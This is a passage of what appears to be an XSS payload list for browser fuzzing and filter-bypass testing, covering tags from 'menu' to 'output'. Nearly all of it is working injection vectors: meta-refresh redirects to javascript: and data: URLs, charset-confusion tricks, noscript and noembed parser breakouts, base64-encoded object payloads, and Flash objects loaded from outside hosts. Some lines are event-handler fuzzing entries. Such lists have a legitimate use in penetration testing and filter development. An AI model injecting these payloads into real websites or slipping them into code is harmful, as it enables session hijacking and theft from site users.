onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</menu>
<menuitem onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</menuitem>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://127.0.0.1:3555/xss_serve_payloads/X.html">
<meta charset="mac-farsi">scriptjavascript:alert(1)/script
<meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾
<meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾
<meta charset="x-mac-farsi">¼script ¾confirm(1)//¼/script ¾
<meta charset=HZ-GB-2312><scrip~}t>alert(1)</script>
<meta charset=Shift_JIS><script>x="?\";alert(1)//"</script>
<meta charset=Shift_JIS><script>x="く\";alert(1)//"</script>
<meta charset=utf-7><img src=x o%2BAG4-error=alert(1)>
<meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<meta http-equiv="Refresh" content="0;url=data:,<script>alert(document.domain)</script>">
<meta http-equiv="X-UA-Compatible" content="IE=5"><a style="><!$%/()=?`C\o\l\o\r!?=red">A
<meta http-equiv="X-UA-Compatible" content="IE=5"><a style="font-family:}behavior=URL(\.sct)">B
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
<meta http-equiv="refresh" content="0; url=data:text/html;blabla,<script>alert(1)</script>">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<meta http-equiv="refresh" content="0;url=http://127.0.0.1:3555/xss_serve_payloads/X.html"
<meta http-equiv="refresh" content="0;url=ms-word:ofe|u|\\SITE/word.docx"/>
<meta http-equiv="refresh" content="1; url=file:////net/xss.cx/xss.html">
<meta http-equiv="x-ua-compatible" content="ie=7"><iframe src=”//targetsite.com?xss=<div/style="width:expression(confirm(1))">X</div>”
<meta http-equiv="x-ua-compatible" content="ie=9"><iframe src=//targetsite?xss=<svg/onload%00=%00locatio%00n=nam%00e name=javascript:alert(document.domain)>
<meta http-equiv=x-ua-compatible content=ie=8>
<meta onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</meta>
<meta style="xss:expression(open(alert(1)))" />
<meta%20charset=HZ-GB-2312><scrip~}t>alert(1)</scrip~}t>
<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>
<meter onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</meter>
<nav onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</nav>
<noembed><!--</noembed><img src=1 onerror=alert(1)>-->
<noembed><img title="</noembed><img src onerror=alert(1)>"></noembed>
<noframes onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</noframes>
<noscript onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</noscript>
<noscript><img src="</noscript><iframe onload=alert(1)>" /></noscript>
<noscript><img title="</noscript><img src onerror=alert(1)>"></noscript>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<object classid="clsid:..." codebase="javascript:alert(1);">
<object classid="clsid:..." codebase="javascript:document.cookie=true;">
<object data="javascript:ale&# x72;t(1)">
<object data="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB 4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy 8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"></object> // Firefox only
<object data="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></object>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> // Firefox only
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="javascript:alert(0)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)"> // FF <object/data="javascript:alert(1)"> // FF <object data="javascript:alert(1)">
<object data=//0me.me/demo/xss/xssproject.swf?js=alert(document.domain); allowscriptaccess=always></object> // Soroush Dallili
<object data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==></object>
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<object data=javascript:alert(1)>
<object data=javascript:alert(1)><iframe src=javascript:alert(1)><embed src=javascript:alert(1)>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object><object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
<object onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</object>
<object onbeforescriptexecute="alert(1)"/><script>+</script>
<object onfocus=popup=1;>
<object type="application/x-shockwave-flash" data="http://www.vulnerability-lab.com/hack.swf" width="300" height="300"><param name="movie" value="http://www.subhohalder.com/xysecteam.swf" /><param name="quality" value="high" /><param name="scale" value="noscale" /><param name="salign" value="LT" /><param name="allowScriptAccess" value="always" /><param name="menu" value="false" /></object>
<object type=image src=X.gif onreadystatechange=alert(1)></object>
<object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<object+data="javascript:alert(0)">
<object/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf
<object/data=//goo.gl/nlX0P>
<object/data=”//goo.gl/nlX0P”>
<object/onerror=write`1`//
<object><param name="src" value="javascript:alert(0)"></param></object>
<ol onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</ol>
<optgroup onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</optgroup>
<option onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</option>
<output name="jAvAsCriPt://
\u0061lert(1)" onclick="eval(name)">X</output>
<output onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" 